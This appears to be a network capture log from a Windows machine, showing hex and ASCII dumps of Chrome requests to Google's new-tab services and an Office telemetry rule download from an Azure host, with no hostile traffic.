2024-11-12 16:07:32 UTC	1266	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:31 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-pZabkhu1ZaEYPLzZw3HRpA' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-12 16:07:32 UTC	112	IN	Data Raw: 31 30 35 61 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 6d 69 6c 69 74 61 72 79 20 76 65 74 65 72 61 6e 73 20 64 61 79 20 66 72 65 65 20 6d 65 61 6c 73 22 2c 22 73 70 6f 74 69 66 79 20 32 30 32 34 20 77 72 61 70 70 65 64 22 2c 22 61 73 68 74 61 6e 67 61 20 79 6f 67 61 20 73 68 61 72 61 74 68 20 6a 6f 69 73 22 2c 22 73 70 61 63 65 78 20 6c Data Ascii: 105a)]}'["",["military veterans day free meals","spotify 2024 wrapped","ashtanga yoga sharath jois","spacex l
2024-11-12 16:07:32 UTC	1378	IN	Data Raw: 61 75 6e 63 68 65 73 20 63 61 70 65 20 63 61 6e 61 76 65 72 61 6c 22 2c 22 6e 62 61 20 63 68 65 74 20 68 6f 6c 6d 67 72 65 6e 20 69 6e 6a 75 72 79 22 2c 22 74 72 6f 70 69 63 61 6c 20 73 74 6f 72 6d 20 77 65 73 74 65 72 6e 20 63 61 72 69 62 62 65 61 6e 22 2c 22 72 69 70 70 6c 65 20 78 72 70 20 6e 65 77 73 22 2c 22 70 69 74 63 68 66 6f 72 6b 20 6d 75 73 69 63 20 66 65 73 74 69 76 61 6c 20 63 68 69 63 61 67 6f 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f 52 56 48 4a 6c 62 6d Data Ascii: aunches cape canaveral","nba chet holmgren injury","tropical storm western caribbean","ripple xrp news","pitchfork music festival chicago"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbm
2024-11-12 16:07:32 UTC	1378	IN	Data Raw: 31 79 63 56 70 34 51 56 64 55 55 56 46 76 63 33 49 33 59 56 64 42 64 6e 56 54 55 32 56 33 4b 31 6c 34 55 33 70 51 59 58 68 36 63 56 52 31 54 6b 51 31 64 46 56 77 51 6e 6f 31 63 58 46 6c 54 32 35 70 52 6e 6c 77 57 55 68 54 62 33 52 77 54 46 63 7a 54 7a 64 6d 5a 6e 51 78 64 32 55 30 57 6e 6f 72 64 58 4a 4c 4b 31 64 74 5a 47 39 68 61 6c 46 6b 53 6b 6c 6a 53 32 4a 68 63 6b 4a 6e 52 48 5a 31 54 69 39 59 5a 6a 42 32 62 57 74 47 54 46 55 31 63 6d 78 50 62 56 68 4f 56 45 64 6f 4d 6c 64 75 61 6d 70 43 4e 57 4a 45 62 31 64 47 65 6d 45 30 4c 32 30 32 4f 58 4e 58 4b 30 4a 74 65 6e 68 4c 61 45 74 78 63 54 56 68 4d 47 78 4f 54 30 4d 76 64 45 52 68 53 6b 59 35 4d 47 35 54 51 6d 45 35 61 6d 4e 49 5a 6a 42 33 55 30 39 52 4d 30 78 6b 55 31 70 72 4d 6e 68 70 56 47 6f 31 57 Data Ascii: 1ycVp4QVdUUVFvc3I3YVdBdnVTU2V3K1l4U3pQYXh6cVR1TkQ1dFVwQno1cXFlT25pRnlwWUhTb3RwTFczTzdmZnQxd2U0WnordXJLK1dtZG9halFkSkljS2JhckJnRHZ1Ti9YZjB2bWtGTFU1cmxPbVhOVEdoMlduampCNWJEb1dGemE0L202OXNXK0JtenhLaEtxcTVhMGxOT0MvdERhSkY5MG5TQmE5amNIZjB3U09RM0xkU1prMnhpVGo1W
2024-11-12 16:07:32 UTC	1326	IN	Data Raw: 52 6c 4a 55 4d 32 78 4b 52 44 41 34 63 46 4a 32 5a 48 56 4d 57 44 68 6b 59 31 5a 68 4d 6c 46 56 62 46 42 4d 54 54 51 31 59 57 64 6c 4e 32 4d 33 52 48 52 68 4c 32 35 49 64 6b 4d 34 52 6c 70 73 4d 55 78 46 59 57 74 6c 4f 44 45 79 4d 30 34 33 57 44 4d 76 51 55 59 72 63 6e 67 78 4d 56 52 7a 4e 45 6c 55 53 45 52 56 64 6c 42 70 62 46 42 46 52 32 52 49 62 48 4e 79 52 6c 42 68 55 6e 42 6c 65 48 5a 61 61 48 41 32 53 47 39 6a 5a 45 35 33 64 7a 64 7a 63 45 64 6d 57 6a 42 30 62 58 56 52 53 33 5a 5a 4e 7a 6c 50 62 6c 52 47 63 31 59 34 4e 48 5a 6a 55 6d 73 76 5a 47 70 31 55 45 31 58 52 47 5a 58 53 57 68 49 4b 7a 4e 69 51 32 31 44 57 47 56 43 5a 32 39 4e 56 58 4e 6b 64 31 51 77 4f 55 31 52 4d 57 78 6d 51 6d 77 78 53 54 46 55 56 6c 4e 68 52 58 5a 5a 5a 56 4e 6d 51 54 6c Data Ascii: RlJUM2xKRDA4cFJ2ZHVMWDhkY1ZhMlFVbFBMTTQ1YWdlN2M3RHRhL25IdkM4RlpsMUxFYWtlODEyM043WDMvQUYrcngxMVRzNElUSERVdlBpbFBFR2RIbHNyRlBhUnBleHZaaHA2SG9jZE53dzdzcEdmWjB0bXVRS3ZZNzlPblRGc1Y4NHZjUmsvZGp1UE1XRGZXSWhIKzNiQ21DWGVCZ29NVXNkd1QwOU1RMWxmQmwxSTFUVlNhRXZZZVNmQTl
2024-11-12 16:07:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.6	49755	142.250.185.132	443	6820	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:31 UTC	353	OUT	GET /async/ddljson?async=ntp:2 HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.6	49756	142.250.185.132	443	6820	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:32 UTC	506	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEI3L3NAQiPys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw== Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-12 16:07:32 UTC	1042	IN	HTTP/1.1 200 OK Version: 694010790 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Tue, 12 Nov 2024 16:07:32 GMT Server: gws Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-12 16:07:32 UTC	336	IN	Data Raw: 33 63 39 30 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 3c90)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-11-12 16:07:32 UTC	1378	IN	Data Raw: 20 67 62 5f 6f 64 20 67 62 5f 46 64 20 67 62 5f 6c 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 Data Ascii: gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u00
2024-11-12 16:07:32 UTC	1378	IN	Data Raw: 30 33 63 5c 2f 61 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 64 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c Data Ascii: 03c\/a\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdiv class\u003d\"gb_ad\"\u003e \u003c\/div\u003e\u003c\
2024-11-12 16:07:32 UTC	1378	IN	Data Raw: 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 73 76 67 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 Data Ascii: role\u003d\"button\" tabindex\u003d\"0\"\u003e \u003csvg class\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l22
2024-11-12 16:07:32 UTC	1378	IN	Data Raw: 32 2c 32 7a 4d 36 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 32 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 Data Ascii: 2,2zM6,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM12,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1
2024-11-12 16:07:32 UTC	1378	IN	Data Raw: 66 74 5f 70 72 6f 64 75 63 74 5f 63 6f 6e 74 72 6f 6c 2d 6c 61 62 65 6c 31 22 2c 22 6c 65 66 74 5f 70 72 6f 64 75 63 74 5f 63 6f 6e 74 72 6f 6c 2d 6c 61 62 65 6c 32 22 5d 2c 22 6d 65 6e 75 5f 70 6c 61 63 65 68 6f 6c 64 65 72 5f 6c 61 62 65 6c 22 3a 22 6d 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 33 33 39 2c 33 37 30 30 39 34 32 2c 33 37 30 31 33 38 34 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 Data Ascii: ft_product_control-label1","left_product_control-label2"],"menu_placeholder_label":"menu-content","metadata":{"bar_height":60,"experiment_id":[3700339,3700942,3701384],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else
2024-11-12 16:07:32 UTC	1378	IN	Data Raw: 3a 20 41 70 61 63 68 65 2d 32 2e 30 5c 6e 2a 2f 5c 6e 76 61 72 20 4c 64 3b 5f 2e 4a 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 63 6f 6e 73 74 20 62 5c 75 30 30 33 64 61 2e 6c 65 6e 67 74 68 3b 69 66 28 62 5c 75 30 30 33 65 30 29 7b 63 6f 6e 73 74 20 63 5c 75 30 30 33 64 41 72 72 61 79 28 62 29 3b 66 6f 72 28 6c 65 74 20 64 5c 75 30 30 33 64 30 3b 64 5c 75 30 30 33 63 62 3b 64 2b 2b 29 63 5b 64 5d 5c 75 30 30 33 64 61 5b 64 5d 3b 72 65 74 75 72 6e 20 63 7d 72 65 74 75 72 6e 5b 5d 7d 3b 4c 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 4b 64 28 62 5c 75 30 30 33 64 5c 75 30 30 33 65 62 2e 73 75 62 73 74 72 28 30 2c 61 2e 6c 65 6e 67 74 68 2b 31 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5c 75 Data Ascii: : Apache-2.0\n*/\nvar Ld;_.Jd\u003dfunction(a){const b\u003da.length;if(b\u003e0){const c\u003dArray(b);for(let d\u003d0;d\u003cb;d++)c[d]\u003da[d];return c}return[]};Ld\u003dfunction(a){return new _.Kd(b\u003d\u003eb.substr(0,a.length+1).toLowerCase()\u
2024-11-12 16:07:32 UTC	1378	IN	Data Raw: 33 64 5f 2e 58 64 28 29 3b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 59 64 28 62 3f 62 2e 63 72 65 61 74 65 53 63 72 69 70 74 55 52 4c 28 61 29 3a 61 29 7d 3b 5f 2e 24 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 59 64 29 72 65 74 75 72 6e 20 61 2e 69 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 5c 22 46 5c 22 29 3b 7d 3b 5f 2e 62 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 65 2e 74 65 73 74 28 61 29 29 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 63 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 4e 64 29 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 4e 64 29 61 5c 75 30 30 33 64 61 2e 69 3b 65 6c 73 65 20 74 68 Data Ascii: 3d_.Xd();return new _.Yd(b?b.createScriptURL(a):a)};_.$d\u003dfunction(a){if(a instanceof _.Yd)return a.i;throw Error(\"F\");};_.be\u003dfunction(a){if(ae.test(a))return a};_.ce\u003dfunction(a){if(a instanceof _.Nd)if(a instanceof _.Nd)a\u003da.i;else th
2024-11-12 16:07:32 UTC	1378	IN	Data Raw: 7b 76 61 72 20 63 5c 75 30 30 33 64 62 7c 7c 64 6f 63 75 6d 65 6e 74 3b 63 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 3f 61 5c 75 30 30 33 64 63 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 28 61 29 5b 30 5d 3a 28 63 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 2c 61 3f 61 5c 75 30 30 33 64 28 62 7c 7c 63 29 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 61 3f 5c 22 2e 5c 22 2b 61 3a 5c 22 5c 22 29 3a 28 62 5c 75 30 30 33 64 62 7c 7c 63 2c 61 5c 75 30 30 33 64 28 61 3f 62 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 61 3f 5c 22 2e 5c 22 2b 61 3a 5c 22 5c 22 29 3a 62 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 5c 22 2a 5c 22 29 29 5b 30 5d 7c 7c 6e 75 6c 6c 29 29 3b 72 65 74 75 72 Data Ascii: {var c\u003db\|\|document;c.getElementsByClassName?a\u003dc.getElementsByClassName(a)[0]:(c\u003ddocument,a?a\u003d(b\|\|c).querySelector(a?\".\"+a:\"\"):(b\u003db\|\|c,a\u003d(a?b.querySelectorAll(a?\".\"+a:\"\"):b.getElementsByTagName(\"*\"))[0]\|\|null));retur
2024-11-12 16:07:32 UTC	1378	IN	Data Raw: 32 36 74 79 70 65 6f 66 20 66 2e 6c 65 6e 67 74 68 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 6e 75 6d 62 65 72 5c 22 5c 75 30 30 32 36 5c 75 30 30 32 36 74 79 70 65 6f 66 20 66 2e 69 74 65 6d 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 66 75 6e 63 74 69 6f 6e 5c 22 3f 5f 2e 4a 64 28 66 29 3a 66 2c 64 29 7d 7d 3b 5c 6e 5f 2e 75 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 5f 2e 72 65 28 64 6f 63 75 6d 65 6e 74 2c 61 29 7d 3b 5f 2e 72 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 62 5c 75 30 30 33 64 53 74 72 69 6e 67 28 62 29 3b 61 2e 63 6f 6e 74 65 6e 74 54 79 70 65 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 68 74 6d 6c 2b 78 6d 6c 5c 22 5c 75 30 30 32 Data Ascii: 26typeof f.length\u003d\u003d\"number\"\u0026\u0026typeof f.item\u003d\u003d\"function\"?_.Jd(f):f,d)}};\n_.ue\u003dfunction(a){return _.re(document,a)};_.re\u003dfunction(a,b){b\u003dString(b);a.contentType\u003d\u003d\u003d\"application/xhtml+xml\"\u002

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.6	49757	142.250.185.132	443	6820	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:32 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-12 16:07:32 UTC	957	IN	HTTP/1.1 200 OK Version: 694010790 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Tue, 12 Nov 2024 16:07:32 GMT Server: gws Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-12 16:07:32 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-11-12 16:07:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.6	49760	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:32 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 16:07:32 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:32 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: db719d09-901e-005b-33cb-322005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T160732Z-16547b76f7fm7xw6hC1DFW5px40000000fu00000000099m4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 16:07:32 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" 